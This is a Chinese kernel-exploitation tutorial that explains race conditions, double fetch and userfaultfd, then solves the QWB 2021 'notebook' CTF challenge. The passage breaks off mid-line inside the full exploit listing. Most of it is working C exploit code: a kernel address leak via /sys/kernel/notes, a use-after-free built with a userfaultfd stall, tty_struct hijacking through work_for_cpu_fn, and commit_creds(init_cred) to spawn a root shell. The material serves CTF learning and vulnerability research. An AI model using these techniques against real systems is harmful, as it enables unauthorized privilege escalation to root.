当前位置: 首页 > news >正文

Kernel Pwn 入门(五) 条件竞争 userfaultfd利用

一些概念直接引用晚秋师傅的bolg 晚秋

条件竞争(Race condition)

在用户态下,若看到某个程序使用了多线程,那么我们往往会考虑该程序的利用方式是否是条件竞争。而在内核态下,用户可以非常便捷地编写多线程,因此内核驱动的锁若使用不当,或者根本没有加锁,那么就可以使用条件竞争来进行漏洞利用。

基础知识

学过《操作系统》的师傅可能并不会对锁感到陌生。锁能够防止多个进程同时使用某些资源,或者进入临界区。而若锁使用不当时,就会造成各种意料之外的结果,或是在Linux kernel pwn中受到条件竞争的攻击。

这里先列出各种锁和其使用范围:

锁类型允许的并发数(读操作)允许的并发数(写操作)
自旋锁 (Spinlock)11
读写锁 (Read-Write Lock)多个(读锁)1(写锁)
互斥锁 (Mutex)11
信号量 (Semaphore)可配置可配置
RCU (Read-Copy Update)多个(读操作)1(更新操作)
顺序锁 (Seqlock)多个(可能需要重试)1

可以看到,只有互斥锁mutex以及自旋锁spinlock能够严格要求只能有一个进程进入临界区。而其它种类的锁若使用不当,则容易出现漏洞。例如,对于读写锁read-write lock,其中若使用写锁,则能够严格控制只有一个进程进入临界区,而若使用读锁,则能够有多个进程进入临界区,此时就容易出现漏洞。

信号量

信号量也是操作系统中经常提到的概念。而信号量我们能够用来做什么呢?用法其实多种多样。例如,我们可以使用信号量来控制多个线程的先后执行顺序——以便于我们进行条件竞争。

先来看信号量的使用方法。

定义信号量:

#include <semaphore.h>sem_t signal1, signal2;

初始化信号量:

sem_init(&signal1, 0, 0);
sem_init(&signal2, 0, 0);

获取一个信号量,若没有则等待:

sem_wait(&signal1);

使信号量的值加一(即“释放”一个信号量单位),并唤醒一个或多个等待该信号量的线程(如果有的话),执行完等待的线程后立刻减一

sem_post(&signal1);

因此,我们通过一个多线程的例子,来理清信号量的使用方法:

#include <semaphore.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>// 定义两个信号量
sem_t signal_hello, signal_bye;
// 定义两个线程标识符
pthread_t thread_hello, thread_bye;// 线程1:hello,输出hello, world
void* hello(void* args)
{// 获取到signal_hello才继续执行sem_wait(&signal_hello);printf("Hello, world!\n");
}// 线程2:bye,输出bye bye
void* bye(void* args)
{// 获取到信号量signal_bye才继续执行sem_wait(&signal_bye);printf("bye bye!\n");
}int main()
{// 使用信号量前,需要先进行初始化sem_init(&signal_hello, 0, 0);sem_init(&signal_bye, 0, 0);// 创建两个线程// 由于两个线程内部都有sem_wait,因此都不会立即输出pthread_create(&thread_hello, NULL, hello, NULL);pthread_create(&thread_bye, NULL, bye, NULL);// signal_hello信号量+1,因此立即输出helloworldsem_post(&signal_hello);sleep(1);// signal_bye信号量+1,因此立即输出bye byesem_post(&signal_bye);sleep(1);return 0;
}

执行结果:
在这里插入图片描述

double fetch

double fetch 直译就是 取值两次,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,可能出现在下面这种情况当中:

  • 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
  • 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据

例如:内核第一次先获取数据进行合法性验证,第二次再获取数据进行使用(如下图所示)

在这里插入图片描述

不难看出,若是整个操作流程过长,则用户进程便有机会修改这一块数据,使得内核在两次访问这块空间时所获得的数据不一致,从而使得内核进入不同的执行流程,用户进程甚至可以直接开新的线程进行竞争来实现这个效果

在这里插入图片描述

通过在 first fetch 与 second fetch 之间的空挡修改数据从而改变内核执行流的利用手法便被称之为double fetch

userfaultfd系统调用(<5.11)

userfaultfd 与条件竞争

严格意义而言 userfaultfd 并非是一种利用手法,而是 Linux 的一个系统调用,简单来说,通过 userfaultfd 这种机制,用户可以通过自定义的 page fault handler 在用户态处理缺页异常

下面的这张图很好地体现了 userfaultfd 的整个流程:

image.png

要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 uffd monitor,该线程会通过 poll() 函数不断轮询直到出现缺页异常

  • 当有一个线程在这块内存区域内触发缺页异常时(比如说第一次访问一个匿名页),该线程(称之为 faulting 线程)进入到内核中处理缺页异常

  • 内核会调用 handle_userfault() 交由 userfaultfd 处理

  • 随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg 发送给 monitor 线程,等待其处理结束

  • monitor 线程调用通过 ioctl 处理缺页异常,有如下选项:

    • UFFDIO_COPY:将用户自定义数据拷贝到 faulting page 上
    • UFFDIO_ZEROPAGE :将 faulting page 置0
    • UFFDIO_WAKE:用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKEUFFDIO_ZEROPAGE_MODE_DONTWAKE 模式实现批量填充
  • 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作

以上便是 userfaultfd 这个机制的整个流程,该机制最初被设计来用以进行虚拟机/进程的迁移等用途,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高

考虑在内核模块当中有一个菜单堆的情况,其中的操作都没有加锁,那么便存在条件竞争的可能,考虑如下竞争情况:

  • 线程1不断地分配与编辑堆块
  • 线程2不断地释放堆块

此时线程1便有可能编辑到被释放的堆块,若是此时恰好我们又将这个堆块申请到了合适的位置(比如说 tty_operations),那么我们便可以完成对该堆块的重写,从而进行下一步利用

但是毫无疑问的是,若是直接开两个线程进行竞争,命中的几率是比较低的,我们也很难判断是否命中

但假如线程1使用诸如 copy_from_usercopy_to_user 等方法在用户空间与内核空间之间拷贝数据,那么我们便可以:

  • 先用 mmap 分一块匿名内存,为其注册 userfaultfd,由于我们是使用 mmap 分配的匿名内存,此时该块内存并没有实际分配物理内存页
  • 线程1在内核中在这块内存与内核对象间进行数据拷贝,在访问注册了 userfaultfd 内存时便会触发缺页异常,陷入阻塞,控制权转交 userfaultfd 的 uffd monitor 线程
  • 在 uffd monitor 线程中我们便能对线程1正在操作的内核对象进行恶意操作(例如覆写线程1正在读写的内核对象,或是将线程1正在读写的内核对象释放掉后再分配到我们想要的地方)
  • 此时再让线程1继续执行,线程 1 便会向我们想要写入的目标写入特定数据/从我们想要读取的目标读取特定数据

由此,我们便成功利用 userfaultfd 完成了对条件竞争漏洞的利用,这项技术的存在使得条件竞争的命中率大幅提高

what is userfaultfd?(个人理解版)

简单来说,就是我们在用户态对某个指针分配内存时,我们可以使用mmap将其分配为匿名内存。当访问到这块匿名内存时,若我们注册了userfaultfd并设置了处理函数,我们就可以让我们指定的处理函数来处理缺页的情况。

然而,我们可以让处理函数单纯sleep在那里,这样访问到匿名内存的线程就会直接卡住~因为它要等处理函数处理完毕才会继续执行。

因此,假设内核函数中有如下情景:

kfree(ptr[index]);
copy_to_user(message, buf, 0x200);
ptr[index]=0;

massage在用户态中被分配的是匿名内存并注册了userfaultfd,那么在运行到copy_to_user时便会先运行处理函数。而在处理函数中,我们编写为sleep(1000000000000);,即可让该线程几乎永久沉睡下去。而由于已经调用了kfree,却并没有运行到将指针清空的代码,因此就造成UAF了~

这就是userfaultfd在条件竞争部分的基础用法。

强网杯2021-notebook

先分析一下 run.sh

#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 256M -kernel bzImage -initrd rootfs.img -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

开启了smep,smap,kalsr保护,也开启了KPTI,可以通过cat /sys/devices/system/cpu/vulnerabilities/* 查看是否开启kpti

再看init文件

#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/ptsmount -t proc proc /proc
mount -t sysfs sysfs /sysecho 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrictifup eth0 > /dev/null 2>/dev/nullinsmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
poweroff -d 300 -f &
echo "Welcome to QWB!"#sh
setsid cttyhack setuidgid 1000 shumount /proc
umount /syspoweroff -d 1 -n -f

可以看到:

  • 设置kptr_restrict1,这意味着普通用户无法直接查看/proc/kallsyms来获得函数地址;
  • 设置dmesg_restrict1,这意味着普通用户无法通过dmseg命令查看printk的输出。

题目注册了三个函数,包括readwrite、以及ioctl

ioctl函数

在这里插入图片描述
这里主要是注册了几个函数。

addeditdeletegift四个选项。

noteadd函数

在这里插入图片描述
这里主要是将用户输入的size先赋值,然后将用户输入的rdx中的值赋值给name而不是后面kmalloc后的object,因此我们并不能控制obkect的值(最关键的地方)

kmalloc的空间实际上是使用程序提供的readwrite功能来进行读写的。
而且使用的锁为读锁,这意味着可以有多个线程同时进入临界区;

edit函数

在这里插入图片描述
注意到:

  • 其中使用kreallockmalloc的指针进行空间的重分配。而当size0时,其相当于free
  • 使用的仍然是读锁,意味着可以有多个线程同时进入临界区;

除此之外,note_delete函数为正常释放并清空堆块,且使用的为写锁,不存在条件竞争的可能。

notegift函数

notegift() 函数则会白给出分配的 object 的地址,这让本题难度下降不少:)

image.png

mynote_read函数

题目设备的 read() 则是很普通的读取对应 note 内容的功能,读取的大小为 notebook 结构体数组中存的 size,下标为 read 传入的第三个参数

image.png

mynote_write函数

题目设备的 write() 也是很普通的写入对应 note 内容的功能,写入的大小为 notebook 结构体数组中存的 size,下标为 write 传入的第三个参数

image.png

解题思路

note_edit函数中:

size0,这就满足了我们在userfaultfd中提到的:

kfree(ptr[index]);
copy_from_user(name, v4, 0x200);
...
ptr[index] = 0;

说明这里是可以让我们用userfaultfd来进行条件竞争,并构造一个UAF

除此之外,由于add函数中有sizecheck,因此我们还需要采用同样的方式进行size的还原。

解题方法:tty_struct(kmalloc-1k, GFP_KERNEL_ACCOUNT) + work_for_cpu_fn

Step.I - userfaultfd 构造 UAF

注意到在 mynote_edit 当中使用了 krealloc 来重分配 object,随后使用 copy_fom_user 从用户空间拷贝数据:

image.png

那么我们可以:

  • 分配一个特定大小的 note
  • 新开 edit 线程通过 krealloc(0) 将其释放,并通过 userfaultfd 卡在这里

此时 notebook 数组中的 object 尚未被清空,仍是原先被释放了的 object,我们只需要再将其分配到别的内核结构体上便能完成 UAF

接下来我们就要选择 victim struct 了,这里我们还是选择最经典的 tty_struct 来完成利用,我们只需要打开 /dev/ptmx 便能获得一个 tty_struct :)

Step.II - 泄露内核地址

这里可以利用CVE来泄露内核地址:

方法一: CVE泄露内核地址(我使用的方法)

主角是 /sys/kernel/notes ,在谷歌上找到的十分简略的描述:

What:		/sys/kernel/notes
Date:		July 2009
Contact:	<linux-kernel@vger.kernel.org>
Description:	The /sys/kernel/notes file contains the binary representationof the running vmlinux's .notes section.

该部分是包含内核映像的 ELF 文件的一部分,包含有关映像本身的有用信息任何内核代码都可以使用 ELFNOTE() 宏将数据添加到此部分。

启动内核后输入 hexdump -C /sys/kernel/notes
在这里插入图片描述
如图划线部分,过调试发现泄露出来的是 startup_xen 的地址

#ifdef CONFIG_XEN_PVELFNOTE(Xen, XEN_ELFNOTE_VIRT_BASE,      _ASM_PTR __START_KERNEL_map)/* Map the p2m table to a 512GB-aligned user address. */ELFNOTE(Xen, XEN_ELFNOTE_INIT_P2M,       .quad (PUD_SIZE * PTRS_PER_PUD))ELFNOTE(Xen, XEN_ELFNOTE_ENTRY,          _ASM_PTR startup_xen)ELFNOTE(Xen, XEN_ELFNOTE_FEATURES,       .ascii "!writable_page_tables")ELFNOTE(Xen, XEN_ELFNOTE_PAE_MODE,       .asciz "yes")ELFNOTE(Xen, XEN_ELFNOTE_L1_MFN_VALID,.quad _PAGE_PRESENT; .quad _PAGE_PRESENT)ELFNOTE(Xen, XEN_ELFNOTE_MOD_START_PFN,  .long 1)ELFNOTE(Xen, XEN_ELFNOTE_PADDR_OFFSET,   _ASM_PTR 0)

然而 Cook 发布了leaking_addresses.pl的补丁。它可以读取内核符号文件(例如 /proc/kallsyms ),并查看与这些符号关联的地址是否出现在 /sys/kernel/notes 这样的二进制文件中。有了此更改之后, leaking_addresses.pl 就会发现这种长期存在的内核地址泄露.

方法二: 利用tty_operation指针要么为PTM_UNIX98_OPS,要么为PTY_UNIX98_OPS泄露

tty_struct结构体也可以用于地址泄露。当申请到tty_struct结构体时,其tty_operation指针要么为PTM_UNIX98_OPS,要么为PTY_UNIX98_OPS。而即使开启了kaslr,十六进制低三位也是不变的。因此,我们利用UAF申请到tty_struct结构体时,可以查看其tty_operations指针的值,并判断其是属于PTM_UNIX98_OPS还是PTY_UNIX98_OPS。判断后,我们使用泄露出的该值减去其本来的值,即可得到内核的偏移。

部分代码为:

    // 通过检查tty_operation的值来泄露内核偏移tty_operation_value = origin_tty_struct[3];if((tty_operation_value & 0xfff) == (PTM_UNIX98_OPS & 0xfff)){kernel_offset = tty_operation_value - PTM_UNIX98_OPS;}else if((tty_operation_value & 0xfff) == (PTY_UNIX98_OPS & 0xfff)){kernel_offset = tty_operation_value - PTY_UNIX98_OPS;}else{error("The magic value of tty_operation is 0x%llx, not ptm or pty.", tty_operation_value);exit(0);}success("The kernel offset is 0x%llx.", kernel_offset);

Step.III - 劫持 tty_operations,控制内核执行流,work_for_cpu_fn() 稳定化利用

由于题目提供了写入堆块的功能,故我们可以直接通过修改 tty_struct->tty_operations 后操作 tty(例如read、write、ioctl…这会调用到函数表中的对应函数指针)的方式劫持内核执行流,同时 notegift() 会白给出 notebook 里存的 object 的地址,那么我们可以直接把 fake tty_operations 布置到 note 当中

现在我们考虑如何进行提权的工作,按惯例我们需要 commit_creds(init_cred) ,不过我们很难直接一步执行到位,因此需要分步执行并保存中间结果

这里我们选择使用 work_for_cpu_fn() 完成利用,在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

struct work_for_cpu {struct work_struct work;long (*fn)(void *);void *arg;long ret;
};static void work_for_cpu_fn(struct work_struct *work)
{struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);wfc->ret = wfc->fn(wfc->arg);
}
.text:FFFFFFFF81097E90 ; void __fastcall work_for_cpu_fn(work_struct *work)
.text:FFFFFFFF81097E90 work_for_cpu_fn proc near               ; DATA XREF: .init.data:FFFFFFFF825205D0↓o
.text:FFFFFFFF81097E90 work = rdi                              ; work_struct *
.text:FFFFFFFF81097E90                 call    __fentry__      ; PIC mode
.text:FFFFFFFF81097E95                 push    rbx
.text:FFFFFFFF81097E96                 mov     rbx, work
.text:FFFFFFFF81097E99                 mov     work, [work+28h]
.text:FFFFFFFF81097E9D work = rbx                              ; work_struct *
.text:FFFFFFFF81097E9D                 mov     rax, [work+20h]
.text:FFFFFFFF81097EA1                 call    __x86_indirect_thunk_rax ; PIC mode
.text:FFFFFFFF81097EA6                 mov     [work+30h], rax
.text:FFFFFFFF81097EAA                 pop     work
.text:FFFFFFFF81097EAB                 retn
.text:FFFFFFFF81097EAB work_for_cpu_fn endp

简单分析可知该函数可以理解为如下形式:

static void work_for_cpu_fn(size_t * args)
{args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,而 tty_operations 上的函数指针的第一个参数大都是 tty_struct ,对我们而言是可控的,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,且不用考虑 KPTI 绕过,直接普通地返回用户态便能完成稳定化提权

需要注意的是 tty_struct 的结构也被我们所破坏了,因此在完成提权之后我们应该将其内容恢复原样

EXP分析:

头文件及其基本gadget

#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <poll.h>
#include <pthread.h>
#include <linux/userfaultfd.h>void err_exit(char *msg);
void bind_core(int core);
void show_addr(char *name,size_t addr);size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t prepare_kernel_cred_addr=0xffffffff810a9ef0;
size_t commit_creds_addr=0xffffffff810a9b40;
size_t init_cred = 0xffffffff8225c940;
size_t pop_rdi = 0xffffffff81007115;
size_t work_for_cpu_fn = 0xffffffff8109eb90;
int fd;
char* uffd_addr;
char content[0x50];
sem_t evil_add,evil_edit;
pthread_t edit_thread,add_thread;

驱动中的基本函数

typedef struct{size_t idx;size_t size;void* buf;
}userarg;void note_add(size_t idx,size_t size,char* buf){userarg book = {.idx = idx,.size = size,.buf = buf};ioctl(fd,256,&book);
}void note_del(size_t idx){userarg book ={.idx = idx};ioctl(fd,512,&book);
}void note_edit(size_t idx,size_t size,char* buf){userarg book = {.idx = idx,.size = size,.buf = buf};ioctl(fd,768,&book);
}void note_gift(char* buf){userarg book = {.buf = buf};ioctl(fd,100,&book);
}void note_read(size_t idx,char* buf){read(fd, buf, idx);
}void note_write(size_t idx,char* buf){write(fd,buf,idx);
}void make_UAF(){sem_wait(&evil_edit);note_edit(0,0,uffd_addr);     //krealloc size == 0 相当于 free(),UAF后缺页异常卡住
}void fix_size(){sem_wait(&evil_add);note_add(0,0x60,uffd_addr);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void show_addr(char *name,size_t addr){printf("\033[1;33m %s addr is ============>>>>>: 0x%lx  \033[0m\n",name,addr);
}

userfaultfd模板卡住线程

比较常用的实现,只需要让某个copy_from_user/copy_to_user卡住。


/* Here, userfaultfd is utilized to 
enhance the success probability of conditional contention*/char temp_page_for_stuck[0x1000];void register_userfaultfd(pthread_t *monitor_thread, void *addr,unsigned long len, void *(*handler)(void*))
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;/* Create and enable userfaultfd object */uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1) {err_exit("userfaultfd");}uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {err_exit("ioctl-UFFDIO_API");}uffdio_register.range.start = (unsigned long) addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {err_exit("ioctl-UFFDIO_REGISTER");}s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);if (s != 0) {err_exit("pthread_create");}
}void *uffd_handler_for_stucking_thread(void *args)
{struct uffd_msg msg;int fault_cnt = 0;long uffd;struct uffdio_copy uffdio_copy;ssize_t nread;uffd = (long) args;for (;;) {struct pollfd pollfd;int nready;pollfd.fd = uffd;pollfd.events = POLLIN;nready = poll(&pollfd, 1, -1);if (nready == -1) {err_exit("poll");}nread = read(uffd, &msg, sizeof(msg));/* just stuck there is okay... */sleep(100000000);if (nread == 0) {err_exit("EOF on userfaultfd!\n");}if (nread == -1) {err_exit("read");}if (msg.event != UFFD_EVENT_PAGEFAULT) {err_exit("Unexpected event on userfaultfd\n");}uffdio_copy.src = (unsigned long long) temp_page_for_stuck;uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &~(0x1000 - 1);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {err_exit("ioctl-UFFDIO_COPY");}return NULL;}
}void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, void *buf, unsigned long len)
{register_userfaultfd(monitor_thread, buf, len, uffd_handler_for_stucking_thread);
}

主函数分析:

    //准备工作,千万注意要绑定cpu核心...printf("Starting to exploit..");save_status();bind_core(0);pthread_t monitor;int tty_fd;size_t origin_tty_struct[0x100] = {0};size_t tty_operation_value = 0;size_t fake_tty_operation[0x100] = {0};size_t fake_tty_struct[0x100] = {0};fd = open("/dev/notebook",2);if(fd<0){err_exit("open failed!!!");exit(0);}

这里主要是绑定CPU核心,保证漏洞利用的稳定,同时定义后面要篡改的tty结构体的相关变量。

    //================     use CVE leak kernel base ===================int note_fd = open("/sys/kernel/notes",O_RDONLY);char data[0x100];size_t leak_startup_xen = 0;read(note_fd,data,0x100);memcpy(&leak_startup_xen,&data[0x84],8);kernel_base = leak_startup_xen-0x14df180;int offset = kernel_base - nokalsr_kernel_base;prepare_kernel_cred_addr += offset;init_cred += offset;commit_creds_addr += offset;work_for_cpu_fn += offset;pop_rdi += offset;show_addr("kernel_base",kernel_base);//==================      CVE LEAK END !!!    ===================

这里就是利用上面所说的CVE泄露kernel的内核地址,然后确定后面要用到的指令的地址。

    //先创建一个正常的book,并realloc大小为0x2e0(tty_struct)note_add(0,0x60,"aaaa");note_edit(0,0x2e0,"bbbb");// 注册一个userfaultfd。这里是使用的板子,作用就是让访问到这块匿名内存的线程卡住uffd_addr = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);register_userfaultfd_for_thread_stucking(&monitor,uffd_addr,0x1000);// 初始化信号量。我们使用信号量来控制线程的先后顺序。sem_init(&evil_add,0,0);sem_init(&evil_edit,0,0);printf("\033[31m Making UAF..... \033[0m\n");//创建两个线程,第一个来构造UAF,第二个来修改其size。//由于这两个线程的函数内部都需要信号量,因此需要调用对应的sem_post才会开始执行pthread_create(&edit_thread,NULL,make_UAF,NULL);pthread_create(&add_thread,NULL,fix_size,NULL);// 控制make_UAF函数执行sem_post(&evil_edit);sleep(1);printf("Fix Size.......\n");//控制fix_size函数执行修复sizesem_post(&evil_add);sleep(1);

这里最主要的就是注册一个userfaultfd因为我们自定义的userfaultfd处理函数中是sleep(10000000…),
所以就会一直卡在这里不能继续完成后续的处理,导致后面所有访问这块mmap出来的区域时都会因为没有执行完过userfaultfd,而卡在访问mmap出来的区域处即卡在copy_from_user/copy_to_user处。

    // 打开tty_struct结构体,此时我们的chunk0即指向该结构体,由于UAFtty_fd = open("/dev/ptmx",O_RDWR| O_NOCTTY);if(tty_fd<0){err_exit("failed open tty_struct!!!");exit(0);}// 读取该tty_struct结构体的值到origin_tty_struct备份,并读到fake_tty_struct来修改note_read(0 , origin_tty_struct);note_read(0,fake_tty_struct);if(*(int*)origin_tty_struct != 0x5401){printf("The magic value of tty is 0x%llx != 0x5401.", (size_t)*(int*)origin_tty_struct);exit(0);}printf("Tty alloc done. Making UAF successed.\n");// 设置tty_operation[12]的ioctl函数为work_for_cpu_fn// 会导致执行ioctl时执行tty_struct[4](tty_struct[5])fake_tty_operation[12] = work_for_cpu_fn;// 由于fake_tty_operations现在位于用户态,我们将其内容写到内核态才行(smap)//只有note_write能对kmalloc出来的区域也就是chunk进行编辑note_add(1,0x60,"aaaa");note_edit(1,0x2e0,"bbbb");note_write(1,fake_tty_operation);// 通过gift读出note堆块地址,我们刚刚已经将fake_tty_operation写到堆块1上size_t note_addr[0x10] = {0};note_gift(note_addr);// note_addr[2] 就是fake_tty_operation。fake_tty_struct[3] = note_addr[2];fake_tty_struct[4] = commit_creds_addr;fake_tty_struct[5] = init_cred;// 将fake_tty_struct写回tty_structnote_write(0,fake_tty_struct);// 通过ioctl触发work_for_cpu_fn触发commit_creds(&init_cred);printf("\033[1;32m  Triger work_for_cpu_fn by ioctl... \033[0m\n");ioctl(tty_fd,1,1);// 已经执行了commit_creds(&init_cred);提权// 修复tty_struct防止u报错printf("Repairing the tty_struct...\n");note_write(0, origin_tty_struct);get_shell();

由于上述已经卡在copy_from_user/copy_to_user处,此时object0也就是chunk0的大小为0x2e0,处于释放状态,此时open一个/dev/ptmx,就会分配一个tty_struct结构体,此时我们的chunk0即指向该结构体,后面就是对tty_struct结构体的篡改了。

完整EXP

#ifndef _GNU_SOURCE#define _GNU_SOURCE // 这个很重要,用于启用GNU扩展功能
#endif#include <sched.h>          // 主要包含CPU亲和性函数和类型
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <semaphore.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <poll.h>
#include <pthread.h>
#include <linux/userfaultfd.h>void err_exit(char *msg);
void bind_core(int core);
void show_addr(char *name,size_t addr);size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t prepare_kernel_cred_addr=0xffffffff810a9ef0;
size_t commit_creds_addr=0xffffffff810a9b40;
size_t init_cred = 0xffffffff8225c940;
size_t pop_rdi = 0xffffffff81007115;
size_t work_for_cpu_fn = 0xffffffff8109eb90;
int fd;
char* uffd_addr;
char content[0x50];
sem_t evil_add,evil_edit;
pthread_t edit_thread,add_thread;typedef struct{size_t idx;size_t size;void* buf;
}userarg;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.\n");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void note_add(size_t idx,size_t size,char* buf){userarg book = {.idx = idx,.size = size,.buf = buf};ioctl(fd,256,&book);
}void note_del(size_t idx){userarg book ={.idx = idx};ioctl(fd,512,&book);
}void note_edit(size_t idx,size_t size,char* buf){userarg book = {.idx = idx,.size = size,.buf = buf};ioctl(fd,768,&book);
}void note_gift(char* buf){userarg book = {.buf = buf};ioctl(fd,100,&book);
}void note_read(size_t idx,char* buf){read(fd, buf, idx);
}void note_write(size_t idx,char* buf){write(fd,buf,idx);
}void make_UAF(){sem_wait(&evil_edit);note_edit(0,0,uffd_addr);     //krealloc size == 0 相当于 free(),UAF后缺页异常卡住
}void fix_size(){sem_wait(&evil_add);note_add(0,0x60,uffd_addr);
}/* Here, userfaultfd is utilized to 
enhance the success probability of conditional contention*/char temp_page_for_stuck[0x1000];void register_userfaultfd(pthread_t *monitor_thread, void *addr,unsigned long len, void *(*handler)(void*))
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;/* Create and enable userfaultfd object */uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1) {err_exit("userfaultfd");}uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {err_exit("ioctl-UFFDIO_API");}uffdio_register.range.start = (unsigned long) addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {err_exit("ioctl-UFFDIO_REGISTER");}s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);if (s != 0) {err_exit("pthread_create");}
}void *uffd_handler_for_stucking_thread(void *args)
{struct uffd_msg msg;int fault_cnt = 0;long uffd;struct uffdio_copy uffdio_copy;ssize_t nread;uffd = (long) args;for (;;) {struct pollfd pollfd;int nready;pollfd.fd = uffd;pollfd.events = POLLIN;nready = poll(&pollfd, 1, -1);if (nready == -1) {err_exit("poll");}nread = read(uffd, &msg, sizeof(msg));/* just stuck there is okay... */sleep(100000000);if (nread == 0) {err_exit("EOF on userfaultfd!\n");}if (nread == -1) {err_exit("read");}if (msg.event != UFFD_EVENT_PAGEFAULT) {err_exit("Unexpected event on userfaultfd\n");}uffdio_copy.src = (unsigned long long) temp_page_for_stuck;uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &~(0x1000 - 1);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {err_exit("ioctl-UFFDIO_COPY");}return NULL;}
}void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread, void *buf, unsigned long len)
{register_userfaultfd(monitor_thread, buf, len, uffd_handler_for_stucking_thread);
}int main(){//准备工作,千万注意要绑定cpu核心...printf("Starting to exploit..");save_status();bind_core(0);pthread_t monitor;int tty_fd;size_t origin_tty_struct[0x100] = {0};size_t tty_operation_value = 0;size_t fake_tty_operation[0x100] = {0};size_t fake_tty_struct[0x100] = {0};fd = open("/dev/notebook",2);if(fd<0){err_exit("open failed!!!");exit(0);}//================     use CVE leak kernel base ===================int note_fd = open("/sys/kernel/notes",O_RDONLY);char data[0x100];size_t leak_startup_xen = 0;read(note_fd,data,0x100);memcpy(&leak_startup_xen,&data[0x84],8);kernel_base = leak_startup_xen-0x14df180;int offset = kernel_base - nokalsr_kernel_base;prepare_kernel_cred_addr += offset;init_cred += offset;commit_creds_addr += offset;work_for_cpu_fn += offset;pop_rdi += offset;show_addr("kernel_base",kernel_base);//==================      CVE LEAK END !!!    ===================//先创建一个正常的book,并realloc大小为0x2e0(tty_struct)note_add(0,0x60,"aaaa");note_edit(0,0x2e0,"bbbb");// 注册一个userfaultfd。这里是使用的板子,作用就是让访问到这块匿名内存的线程卡住uffd_addr = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_ANONYMOUS | 